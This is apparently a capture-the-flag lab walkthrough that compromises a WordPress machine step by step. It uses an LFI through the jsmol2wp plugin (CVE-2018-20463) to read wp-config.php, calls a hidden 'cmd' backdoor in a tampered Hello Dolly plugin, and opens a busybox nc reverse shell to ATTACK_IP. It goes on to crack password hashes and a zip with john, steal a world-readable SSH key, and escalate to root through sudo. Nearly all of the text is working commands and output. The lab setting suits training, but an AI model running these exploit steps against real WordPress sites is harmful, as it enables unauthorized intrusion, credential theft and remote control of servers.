Smol — WordPress Plugin SSRF to sudo Bash
A WordPress site with a legacy plugin full of CVEs, a poisoned Hello-Dolly backdoor, and a chain of password reuse that ends at a full-sudo user. Goal: user + root flags.
1 · Enumeration
# The site redirects to a subdomain
echo "10.10.x.x smol.thm www.smol.thm" >> /etc/hosts
nmap -sC -sV www.smol.thm
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache 2.4.41 (WordPress 6)
wpscan --url http://www.smol.thm --enumerate u,vp
# users: admin think wp diego gege xavi
# plugin jsmol2wp 1.07 → CVE-2018-20462 XSS, CVE-2018-20463 SSRF/LFI
2 · LFI Through the Plugin
jsmol2wp's query param reads files via php://filter. Grab wp-config.php to win the web + DB credentials.
curl "http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"
# > wp-admin login / DB creds: wpuser : kbLSF2Vop#lw3rjDZ629*Z%G
3 · Backdoored Hello Dolly
A private post says to verify the "Hello Dolly" plugin source — this site's copy was tampered with. Read it through the LFI and decode to find a hidden cmd parameter backdoor. Result: unauthenticated RCE.
# base64-encode read so PHP doesn't execute the file
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/convert.base64-encode/resource=../hello.php
# decode → backdoor exposes a "cmd" parameter
http://www.smol.thm/wp-admin/index.php?cmd=id
# > uid=33(www-data) — RCE confirmed
4 · Reverse Shell + DB Dump
# busybox nc keeps the payload short
http://www.smol.thm/wp-admin/index.php?cmd=busybox%20nc%20ATTACK_IP%20443%20-e%20sh
nc -lvnp 443
# > shell as www-data
# Reuse DB creds → dump wp_users → john + rockyou
mysql -u wpuser -p... wordpress -e "SELECT user_login,user_pass FROM wp_users"
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
# > diego : <cracked> — the @local account
su diego
find / -name 'user.txt'
# > user flag
5 · diego → think (stolen SSH key)
Keep enumerating — another user's private key is world-readable. Grab think's id_rsa and SSH in; think belongs to the dev and internal groups.
cat /home/think/.ssh/id_rsa
chmod 600 id_rsa
ssh -i id_rsa think@smol.thm
# think → groups: think, dev, internal
6 · think → xavi (old zip + wp-config)
think's home contains wordpress.old.zip, password-protected. Crack it, unzip, and read the old wp-config.php — it leaks xavi's credentials.
zip2john wordpress.old.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
unzip wordpress.old.zip
cat wordpress.old/wp-config.php
# > xavi's password in the DB constants
su xavi
7 · xavi → root
sudo -l
(user xavi) (ALL : ALL) ALL
sudo su
root@smol:~# cat /root/root.txt
# root flag
8 · What Made It Work
Steps 3 and 4 are one bug. A backdoor in a plugin file is worth nothing if reading that file runs it instead of showing it, so the php://filter LFI from step 2 is also the delivery mechanism, and the whole chain hangs on that single trick. The password reuse is a second chain on top: the same credential pattern walks you from the database to an SSH key to an old zip to a user with (ALL : ALL) ALL in sudoers.